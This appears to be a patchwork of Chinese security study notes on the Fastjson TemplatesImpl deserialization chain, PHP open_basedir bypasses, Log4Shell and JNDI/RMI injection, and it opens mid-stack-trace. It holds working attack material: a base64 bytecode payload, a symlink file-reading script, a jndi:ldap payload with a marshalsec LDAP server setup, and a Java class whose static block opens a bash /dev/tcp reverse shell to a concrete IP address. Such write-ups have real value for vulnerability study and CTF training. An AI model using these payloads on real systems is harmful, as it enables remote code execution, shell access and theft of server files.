parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:6, JNDIClient

TemplatesImpl利用链

漏洞原理:Fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。

但是由于需要在parse反序列化时设置第二个参数Feature.SupportNonPublicField,所以利用面很窄,但是这条利用链还是值得去学习

漏洞复现

TEMPOC.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TEMPOC extends AbstractTranslet {

public TEMPOC() throws IOException {
Runtime.getRuntime().exec("open -a Calculator");
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}

@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

}

public static void main(String[] args) throws Exception {
TEMPOC t = new TEMPOC();
}
}

这里为什么要继承AbstractTranslet类后面会说。将其编译成.class文件,通过如下方式进行base64加密以及生成payload

1
2
3
4
5
6
7
import base64

fin = open(r"TEMPOC.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
print poc

POC如下

1
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

漏洞分析

前面的流程是通用的,直接分析不同的部分。

进入deserialze后解析到key为_bytecodes时,调用parseField()进一步解析

跟进parseField方法,对_bytecodes对应的内容进行解析

跟进FieldDeserializer#parseField方法

解析出_bytecodes对应的内容后,会调用setValue()函数设置对应的值,这里value即为恶意类二进制内容Base64编码后的数据

继续跟进FieldDeserializer#setValue方法

这里使用了set方法来设置_bytecodes的值

接着解析到_outputProperties的内容

这里去除了_,跟进发现使用反射调用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

跟进TemplatesImpl#getOutputProperties

跟进newTransformer方法

跟进getTransletInstance方法

这里通过defineTransletClasses创建了TEMPOC类并生成了实例

图片

进而执行TEMPOC类的构造方法所以就执行了任意代码,整个调用栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<init>:13, TEMPOC
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:7, Unser

一些问题解惑

为什么要继承AbstractTranslet类

上面说了通过defineTransletClasses创建了TEMPOC类并生成了实例

图片

如果父类名不为ABSTRACT_TRANSLET那么_transletIndex就会为0最后抛出异常

为什么需要对_bytecodes进行Base64编码

图片

跟进deserialze方法

图片

跟进parseArray方法

图片

跟进ObjectDeserializer#deserializer方法

图片

跟进byteValue方法

图片

_bytecodes的内容进行base64解码

为什么需要设置_tfactory为{}

在调用defineTransletClasses方法时,若_tfactory为null则会导致代码报错

图片

补丁分析

从1.2.25开始对这个漏洞进行了修补,修补方式是将TypeUtils.loadClass替换为checkAutoType()函数:

图片

图片
使用白名单和黑名单的方式来限制反序列化的类,只有当白名单不通过时才会进行黑名单判断,这种方法显然是不安全的,白名单似乎没有起到防护作用,后续的绕过都是不在白名单内来绕过黑名单的方式,黑名单里面禁止了一些常见的反序列化漏洞利用链

如何设置

php.ini搜索open_basedir

1
2
3
4
5
6
; open_basedir, if set, limits all file operations to the defined directory
; and below.  This directive makes most sense if used in a per-directory
; or per-virtualhost web server configuration file.
; Note: disables the realpath cache
; http://php.net/open-basedir
;open_basedir =

设置当前目录,设置一个目录,多个目录的方法

1
2
3
open_basedir .  
open_basedir /tmp/
open_basedir /usr/:/tmp/

一、仅获取目录

https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html(P神绕过open_basedir列目录的文章)

1、DirectoryIterator类 + glob://协议

利用DirectoryIterator类对象+glob://协议获取目录结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
print_r(ini_get('open_basedir').'<br>');
$dir_array = array();

$dir = new DirectoryIterator('glob:///*');
foreach($dir as $d){
    $dir_array[] = $d->__toString();
}

sort($dir_array);
foreach($dir_array as $d){
    echo $d.' ';
}
?>

图片

2、FilesystemIterator类 + glob://协议

FilesystemIterator继承自DirectoryIterator,在显示上有丢丢区别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
print_r(ini_get('open_basedir').'<br>');
$dir_array = array();

$dir = new FilesystemIterator('glob:///*');
foreach($dir as $d){
    $dir_array[] = $d->__toString();
}

sort($dir_array);
foreach($dir_array as $d){
    echo $d.' ';
}
show_source(__FILE__);

?>

图片

二、文件读取

1、ini_set() + 相对路径

由于open_basedir自身的问题,设置为相对路径..在解析的时候会致使自身向上跳转一层

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
show_source(__FILE__);
print_r(ini_get('open_basedir').'<br>');

mkdir('test');
chdir('test');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');

echo file_get_contents('/etc/hosts');

?>

图片

原理

若open_basedir限定在当前目录,就需要新建子目录,进入设置其为..,若已经是open_basedir的子目录就不需要,因为已经限定到了当前目录。之后每次引用路径就会触发open_basedir判别,而在解析open_basedir的时候会拼接上..,从而引发open_basedir自身向上跳一级,多次进行切换目录导致目录穿越到根目录,再将open_basedir设置到根目录即可

注意

最后chdir到根目录后,设置open_basedir一定是/而不能是.,否则相对路径转换出错从而失败

2、shell命令执行

shell命令不受open_basedir的影响

图片

symlink是软连接,通过偷梁换柱的方法绕过open_basedir

当前路径是/www/wwwroot/default新建目录数量=需要上跳次数+1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
    show_source(__FILE__);
    
    mkdir("a");chdir("a");
    mkdir("b");chdir("b");
    mkdir("c");chdir("c");
    mkdir("d");chdir("d");
    
    chdir("..");chdir("..");chdir("..");chdir("..");
    
    symlink("a/b/c/d","tmplink");
    symlink("tmplink/../../../../etc/hosts","bypass");
    unlink("tmplink");
    mkdir("tmplink");
    echo file_get_contents("bypass");
?>

图片

原理

symlink会生成一个快捷方式,首先明确需要上跳三次,建四个目录,然后生成软连接symlink(“1/2/3/4”,”tmplink”),然后再生成symlink(“tmplink/../../../../etc/hosts”,”bypass”);,化简一下也就是etc/hosts,在当前目录下,因此通过了open_basedir创建成功

之后,把软连接tmplink换成文件夹tmplink,变成了/www/wwwroot/default/tmplink/../../../../etc/hosts,化简就是/etc/hosts

关键就在于软连接中相对路径的转换是不区分类型,用文件夹顶替了软连接

这里贴一个P神14年针对软链接读文件的自动化脚本(太强了),这个脚本需要我们上传上去再使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
<?php
/*
* by phithon
* From https://www.leavesongs.com
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
    mkdir($paths[$i]);
    chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) { 
    chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) { 
    mkdir($name);
    chdir($name);
    $j++;
}
for ($i = 0; $i <= $j; $i++) { 
    chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');
function getRelativePath($from, $to) {
  // some compatibility fixes for Windows paths
  $from = rtrim($from, '\/') . '/';
  $from = str_replace('\\', '/', $from);
  $to   = str_replace('\\', '/', $to);

  $from   = explode('/', $from);
  $to     = explode('/', $to);
  $relPath  = $to;

  foreach($from as $depth => $dir) {
    // find first non-matching dir
    if($dir === $to[$depth]) {
      // ignore this directory
      array_shift($relPath);
    } else {
      // get number of remaining dirs to $from
      $remaining = count($from) - $depth;
      if($remaining > 1) {
        // add traversals up to first matching dir
        $padLength = (count($relPath) + $remaining - 1) * -1;
        $relPath = array_pad($relPath, $padLength, '..');
        break;
      } else {
        $relPath[0] = './' . $relPath[0];
      }
    }
  }
  return implode('/', $relPath);
}
function delfile($deldir){
    if (@is_file($deldir)) {
        @chmod($deldir,0777);
        return @unlink($deldir);
    }else if(@is_dir($deldir)){
        if(($mydir = @opendir($deldir)) == NULL) return false;
        while(false !== ($file = @readdir($mydir)))
        {
            $name = File_Str($deldir.'/'.$file);
            if(($file!='.') && ($file!='..')){delfile($name);}
        } 
        @closedir($mydir);
        @chmod($deldir,0777);
        return @rmdir($deldir) ? true : false;
    }
}
function File_Str($string)
{
    return str_replace('//','/',str_replace('\\','/',$string));
}
function getRandStr($length = 6) {
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $randStr = '';
    for ($i = 0; $i < $length; $i++) {
        $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
    }
    return $randStr;
}

4、蚁剑插件绕过

懂的都懂,直接插件市场下载disable_function一把梭就行,那个能用用那个

简单原理分析

其实这个主要的原因,和日志有关,日志是应用软件中不可缺少的部分,Apache的开源项目log4j是一个功能强大的日志组件,提供方便的日志记录。

最简单的日志打印

给一个登陆场景,不用关心登陆具体怎么实现,这里我们只需要关心用户名这个字段,举个例子代码

1
2
3
4
public void login(string name){
  String name = "test";  //表单接收name字段
  logger.info("{},登录了", name); //logger为log4j
}

明显一旦登陆后,我们就会通过表单接收到name字段,然后日志上就会有一条某用户登陆的记录。

lookup支持打印系统变量

name变量是用户输入的,用户输入什么都可以,上面的例子是字符串test。但是这都是正常输入,如果我们输入的是系统变量甚至恶意代码呢?

1
2
3
4
public void login(string name){
  String name = "{$java:os}";  //用户输入的name内容为  {$java:os}
  logger.info("{},登录了", name); //logger为log4j
}

如果在用户名框输入{$java:os},那么日志里就会记录的是系统相关的信息,上述代码就会输出

1
Windows 7 6.1 Service Pack 1, architecture: amd64-64,登录了

这是因为在log4j中提供了一个lookup功能,这个功能的具体作用暂且不表,先理解为可以把一些系统变量或代码放到日志能被执行就行

JNDI介绍

大多数可能对JNDI不是很了解,用最通俗的话来解释 其实就是你自己做一个服务,比如是

1
jndi:rmi:192.168.9.23:1099/remote

如果被攻击的服务器,比如某台线上的服务器,访问了或者执行了,你自己的JNDI服务,「那么线上的服务器就会来执行JNDI服务中的remote方法的代码」
回过头来如果在登录框里输入JNDI的服务地址

1
2
3
4
public void login(string name){
  String name = "${jndi:rmi:192.168.9.23:1099/remote}";  //用户输入的name内容为 jndi相关信息
  logger.info("{},登录了", name); 
}

那么只要用log4j来打印这么一条日志,那么log4j就会去执行  jndi:rmi:192.168.9.23:1099/remote 服务,那么在黑客的电脑上就可以对线上服务做任何操作了

具体分析

前提知识

什么是JNDI

JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念。JDNI通过绑定的概念将对象和名称联系起来。在一个文件系统中,文件名被绑定给文件。在DNS中,一个IP地址绑定一个URL。在目录服务中,一个对象名被绑定给一个对象实体。

什么是LDAP

目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,支持过滤功能。

什么是Codebase

Codebase就是存储代码或者编译文件的服务。其可以根据名称返回对应的代码或者编译文件,如果根据类名,提供类对应的Class文件。

原理概述

Log4j2漏洞总的来说就是:因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的

恶意代码编写

我们一直在提到恶意的Class文件,那么恶意类的Java代码是怎样的呢?写个main函数?

直接写main函数是不行的,因为整个过程中Java并没有执行Class文件中的任何方法,只是使用累加器加载和实例化了该类而已。所以我们需要让代码在实例化的就会被执行。因此我们这类采用了静态块。其代码如下

1
2
3
4
5
6
7
8
9
10
11
12
public class evil {
static{
try {
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/1.12.243.151/50025;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}catch (Exception e){
e.printStackTrace();
}
}
}

攻击流程与原理

由于源码涉及比较多,所以就不会详细降解源码,只会大致梳理下关键调用链(其实是我自己懒不想跟着调)

1、首先攻击者遭到存在风险的接口(接口会将前端输入直接通过日志打印出来),然后向该接口发送攻击内容:${jndi:ldap://localhost:9999/Test}。

2、被攻击服务器接收到该内容后,通过Logj42工具将其作为日志打印。

源码:org.apache.logging.slf4j.Log4jLogger.debug(…)/info(…)/error(…)等方法

            > org.apache.logging.log4j.core.config.LoggerConfig.log(…)

                  > AbstractOutputStreamAppender.append(final LogEvent event)

3、此时Log4j2会解析${},读取出其中的内容。判断其为Ldap实现的JNDI。于是调用Java底层的Lookup方法,尝试完成Ldap的Lookup操作。

源码:StrSubstitutor.substitute(…) –解析出${}中的内容:jndi:ldap://localhost:9999/Test

                > StrSubstitutor.resolveVariable(…) –处理解析出的内容,执行lookup

                > Interpolator.lookup(…) –根据jndi找到jndi的处理类

                        > JndiLookup.lookup(…)

                        > JndiManager.lookup(…)

                                > java.naming.InitialContext.lookup(…) –调用Java底层的Lookup方法

PS:后续都是java内部提供的Lookup功能,与log4j无关

4、请求Ldap服务器,获取到Ldap协议数据。Ldap会返回一个Codebase告诉客户端,需要从该Codebase去获取其需要的Class数据。

源码:LdapCtx.c_lookup(…) 请求并处理数据 (ldap中指定了javaCodeBase=)

                >Obj.decodeObject –解析到ldap结果,得到classFactoryLocation=http://localhost:8888

                > DirectoryManager.getObjectInstance(…) –请求Codebase得到对应类的结果

                        > NamingManager.getObjectFactoryFromReference(…) –请求Codebase

5、请求Ldap中返回的Codebase路径,去Codebase下载对应的Class文件,并通过类加载器将其加载为Class类,然后调用其默认构造函数将该Class类实例化成一个对象。

源码:VersionHelper12.loadClass(…) –请求Codebase得到Class并用类加载器加载

                > NamingManager.getObjectFactoryFromReference(…) 通过默认构造函数实例化类。

图片

图片

到此整个攻击原理就完成了。其实总体也很简单。归纳来看关键就如下几步:

1、攻击则发送带有恶意Ldap内容的字符串,让服务通过log4j2打印

2、log4j2解析到ldap内容,会调用底层Java去执行Ldap的lookup操作。

3、Java底层请求Ldap服务器(恶意服务器),得到了Codebase地址,告诉客户端去该地址获取他需要的类。

4、Java请求Codebase服务器(恶意服务器)获取到对应的类(恶意类),并在本地加载和实例化(触发恶意代码)

JDK高版本为何无效

其实是因为高版本在VersionHelper12.loadClass方法中加了一个判断,如下新增了”com.sun.jndi.ldap.object.trustURLCodebase“变量来控制是否允许请求Codebase下载所需的Class文件,且该变量默认为false。

图片

图片

图片

所以高版本的Java的请求逻辑如下。即无法请求Codebase,整个攻击因此失效

但我们还是可以正常请求Ldap服务器,所以我们仍然有可能通过自己的恶意Ldap服务器构建返回恶意代码,从而实现注入攻击。其实我们在模拟的时候完全可以通过System.setProperty(“com.sun.jndi.ldap.object.trustURLCodebase”, “true”);将其指定为true,这样我们就能够在高版本上执行攻击模拟。但是如果是探究高版本攻击原理和实际演练就不太行了

这里暂且不探究高版本攻击,知道大概原理即可

源码分析

具体涉及到的入口类是log4j-core-xxx.jar中的org.apache.logging.log4j.core.lookup.StrSubstitutor这个类。

原因是Log4j提供了Lookups的能力(关于Lookups可以点这里去看官方文档的介绍),简单来说就是变量替换的能力。

在Log4j将要输出的日志拼接成字符串之后,它会去判断字符串中是否包含${和},如果包含了,就会当作变量交给org.apache.logging.log4j.core.lookup.StrSubstitutor这个类去处理。

相关的代码下面这个

首先是org.apache.logging.log4j.core.pattern.MessagePatternConverter这个类的format方法

图片

图片

图中标注1的地方就是现在漏洞修复的地方,让noLookups这个变量为true,就不会进去里面的逻辑,也就没有这个问题了(毕竟整个漏洞就是围绕lookup来的,都禁了咋执行?)。

图中标注2的地方就是判断字符串中是否包含${,如果包含,就将从这个字符开始一直到字符串结束,交给图中标注3的地方去进行替换。

图中标注3的地方就是具体执行替换的地方,其中config.getStrSubstitutor()就是我们上面提到的org.apache.logging.log4j.core.lookup.StrSubstitutor。

StrSubstitutor中,首先将${}之间的内容提取出来,交给resolveVariable这个方法来处理

图片

我们看下resolver的内容,它是org.apache.logging.log4j.core.lookup.Interpolator类的对象。

图片

图片

它的lookups定义了10中处理类型,还有一个默认的defaultLoopup,一种11中。如果能匹配到10中处理类型,就交给它们去处理,其他的都会交给defaultLookup去处理。

匹配规则也很简单,下面简单举个例子

1.如果我们的日志内容中有${jndi:rmi://127.0.0.1:1099/hello}这些内容,去掉${和}传递给resolver的就是jndi:rmi://127.0.0.1:1099/hello。

2.resolver会将第一个**:之前的内容和lookups做匹配,我们这里获取到的是jndi,就会将剩余部分jndi:rmi://127.0.0.1:1099/hello**交给jdni的处理器JndiLookup去处理。

图片

图片

图中标注1的地方入参就是jndi:rmi://127.0.0.1:1099/hello

图中标注2的地方就是jndi

图中标注3的地方就是rmi://127.0.0.1:1099/hello

图中标注4的地方就是处理器JndiLookup类的对象

图中标注5的地方就是jndi来处理的入口

修复

图片

主要是通过设置noLookups变量的值,不让它进去这个if里面的逻辑。

这个变量的值是来自下面这个属性

图片

所以在在代码中加入System.setProperty("log4j2.formatMsgNoLookups","true");这句也就可以了

复现

网上有很多现成的靶场,我直接拿ctfshow靶场做例子

图片

有一个登录框,也就是我之前提的登陆例子

用dnslog当poc测下有洞没

1
${jndi:ldap://dnslog.com/exp}

这里简单讲下为啥可以拿dnslog当poc测,因为上文讲到的
org.apache.logging.log4j.core.lookup.Interpolator 的resolver定义了10种类型,其中包括了JNDI如果匹配到JNDI就交给JNDIlookup去处理,这里处理就跟我文章开头举得那个例子一个道理了。

0x01 准备工作

1
2
3
4
5
6
7
8
9
10
11
12
public class evil {
static{
try {
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/xxx/50025;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}catch (Exception e){
e.printStackTrace();
}
}
}

网上随便拿的一个恶意类,只要能反弹shell就行
接着因为要搭LDAP环境,如果是手动搭会比较麻烦,这里用工具

marshalsec-0.0.3-SNAPSHOT-all.jar 搭

0x02 监听端口

1
nc -lvnp 50025

端口自己设置就好

0x03 起http服务

1
python3 -m http.server 50026

这里我用python起的http服务,php也行,端口也是随意,只要不冲突就行,但是要注意的是要在恶意java类的目录下起http服务,而且要把该java文件编译成class文件。

0x04 起LDAP服务

1
java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://xxx:50026/#evil"

这里的端口要和http服务的端口一样

0x05 验证

图片

提交后,就能看到已经加载了恶意类,监听的端口也反弹到了shell

前提知识

RMI动态加载恶意类

RMI介绍

RMI,远程方法调用。跟RPC差不多,是java独立实现的一种机制。实际上就是在一个java虚拟机上调用另一个java虚拟机的对象上的方法。

RMI分为三个主体部分:

Client-客户端:客户端调用服务端的方法

Server-服务端:远程调用方法对象的提供者,也是代码真正执行的地方,执行结束会返回给客户端一个方法执行的结果。

Registry-注册中心:其实本质就是一个map,相当于是字典一样,用于客户端查询要调用的方法的引用。

RMI使用

Server部署:

Server向Registry注册远程对象,远程对象绑定在一个//hostL:port/objectname上,形成一个映射表(Service-Stub)。

Client调用:

Client向Registry通过RMI地址查询对应的远程引用(Stub)。这个远程引用包含了一个服务器主机名和端口号。

Client拿着Registry给它的远程引用,照着上面的服务器主机名、端口去连接提供服务的远程

RMI服务器

Client传送给Server需要调用函数的输入参数,Server执行远程方法,并返回给Client执行结果。

列举几个函数

bind:将远程对象绑定到注册中心

rebind:重新绑定一个远程对象

unbind:取消一个过程对象的绑定

list:列出注册中心绑定对象

lookup:在注册中心获取一个远程对象的存根

RMI利用

RMI远程加载代码的过程,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻找类。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类;如果在本地没有找到这个类,就会去远程加载codebase(就算是一个地址,指定jvm从哪个地方去搜集类,和ClassPath,jdbc的url一样,通常是远程的URL,比如http,ftp等)中的类,所以只要控制了codebase,就可以加载任何恶意类

但是官方注意到后,在后面的版本(6u45、7u21,8u121以后)加了限制(java.rmi.server.useCodebaseOnly默认配置已经改为了true。),满足如下条件的才可以攻击

安装并配置了SecurityManager,(需要自己设置为trust)

java.rmi.server.useCodebaseOnly 配置为 flase,如果为 true,则将禁用自动加载类文件,不允许远程加载对象

0x00 - JNDI 是什么?

JNDI 名为 Java命名和目录接口,具体概念比较复杂难懂,具体细节不用了解,简单来说就是 JNDI 提供了一组通用的接口可供应用很方便地去访问不同的后端服务例如 LDAP、RMI 等

JNDI提供了两个服务,命名服务和目录服务。

命名服务将一个对象和一个名称绑定,然后放置到一个容器里面。当我们想要获取这个对象的时候,就可以通过容器来查找这个名称,从而获得这个对象。

目录服务就是将一些对象的属性放置到容器中,然后想要操作这个属性的时候,就通过容器来进行查找。

对比一下命名服务和目录服务,其实命名服务就是绑定对象,而目录服务就是绑定了对象的属性。在JNDI中,命名服务和目录服务是一起结合提供的,最容易理解的一个例子就是RMI。

0x01. JNDI 获取并调用远程方法

想要实现JNDI,我们首先得需要一个容器,然后我们将一个对象绑定到容器里面。(这里结合RMI来实现一个简单的示例)

1、创建一个远程调用对象

首先创建一个接口,继承Remote接口:

1
2
3
public interface RemoteMethod extends Remote {
    public void sayBye() throws RemoteException;
}

 创建一个远程对象,实现该接口,并继承UnicastRemoteObject类:

1
2
3
4
5
6
7
8
9
10
11
12
class test extends UnicastRemoteObject implements RemoteMethod {
    public String name;
    public int age;
    public test(String name,int age) throws RemoteException {
        super();
        this.age = age;
        this.name = name;
    }
    public void sayBye(){
        System.out.println("say bye!!");
    }
}

2、开启RMI服务端

创建一个RMI服务端,并将一个远程对象绑定到注册表中

1
2
3
4
5
6
7
public class Server {
    public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException {
        test test = new test("test",22);
        LocateRegistry.createRegistry(1099);
        Naming.bind("test",test);
    }
}

3、利用JNDI远程获取对象

我们想要使用JNDI来远程获取对象,首先得需要获取一个容器,我们先看如下实例代码:

1
2
3
4
5
6
7
8
9
10
public class jndi {
    public static void main(String[] args) throws RemoteException, NamingException {
        Properties env = new Properties();
      env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");
        Context ctx = new InitialContext(env);
        RemoteMethod remoteMethod = (RemoteMethod) ctx.lookup("test");
        remoteMethod.sayBye();
    }
}

Context.PROVIDER_URL参数表示指定一个远程加载的地址,例如上面的rmi://127.0.0.1:1099,当我们通过lookup函数进行查找对象的时候,其实就是在rmi://127.0.0.1:1099/test这个里面进行的查找。
​ 最后远程调用方法之后,会在服务端执行代码,将结果返回给JNDI客户端。

0x02.JNDI注入漏洞

通过上面的这个例子,我们可以知道,通过JNDI可以远程加载对象。除了通过上面的Context.PROVIDER_URL来设置URL以外,我们可以直接在lookup参数指定URL,例如lookup(“rmi://127.0.0.1:1099/test”),由于JNDI存在一个动态地址转换协议,也就是说当我们在lookup上指定一个URL的时候,就会优先于Context.PROVIDER_URL的设置进行加载。

如果这个lookup参数可控的话,那么我们就可以传入恶意的url地址来控制受害者加载攻击者指定的恶意类。但是这里又会遇到一个问题,就是怎么进行攻击呢?

